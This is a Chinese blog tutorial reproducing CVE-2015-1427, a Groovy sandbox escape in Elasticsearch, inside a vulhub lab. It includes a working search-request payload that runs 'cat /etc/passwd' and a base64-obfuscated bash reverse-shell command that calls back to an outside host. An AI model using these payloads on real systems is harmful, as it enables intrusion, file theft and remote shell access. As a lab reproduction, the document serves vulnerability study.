如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

发布时间:2021-12-16 18:27:55 作者:柒染
来源:亿速云 阅读:668

本篇文章给大家分享的是有关如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Elasticsearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java语言开发的,并作为Apache许可条款下的开放源码发布,是一种流行的企业级搜索引擎。

2014年爆出过一个远程代码执行漏洞(CVE-2014-3120),该漏洞产生原因是由于ElasticSearch使用的脚本引擎支持脚本代码MVEL作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码。

后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。

漏洞影响范围:Elasticsearch 1.3.0-1.3.7 | 1.4.0-1.4.2

本文仅作漏洞复现记录与实现,利用流程如下:

一、漏洞环境搭建

本文漏洞环境采用vulhub搭建,执行以下命令开启环境

cd /elasticsearch/CVE-2015-1427

docker-compose build

docker-compose up -d

执行完毕后访问9200端口,显示如下:

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

漏洞链接:http://192.168.101.152:9200/

二、漏洞复现

利用该漏洞首先需要ElasticSearch存在至少一条数据,发送以下数据包添加数据

POST /website/blog/ HTTP/1.1
Host: 192.168.101.152:9200
Content-Length: 21

{
"name": "test"
}

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

返回201表示添加成功,然后发送以下数据包执行命令

POST /_search?pretty HTTP/1.1
Host: 192.168.101.152:9200
Content-Length: 410

{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

命令执行成功

为了方便将shell反弹至服务器上

服务器执行nc -lvvp 监听端口

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

之后执行以下命令反弹shell

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzg4NDEgMD4mMQ==}|{base64,-d}|{bash,-i}

成功反弹

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现

以上就是如何分析ElasticSearch Groovy远程代码执行漏洞CVE-2015-1427复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。

推荐阅读:
  1. 如何分析Google Chrome远程代码执行0Day漏洞通报
  2. 怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

cve-2015-1427 elasticsearch groovy

上一篇:怎么实现ElasticSearch 远程代码执行漏洞CVE-2014-3120复现的分析

下一篇:怎么解析Python中的Dict

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》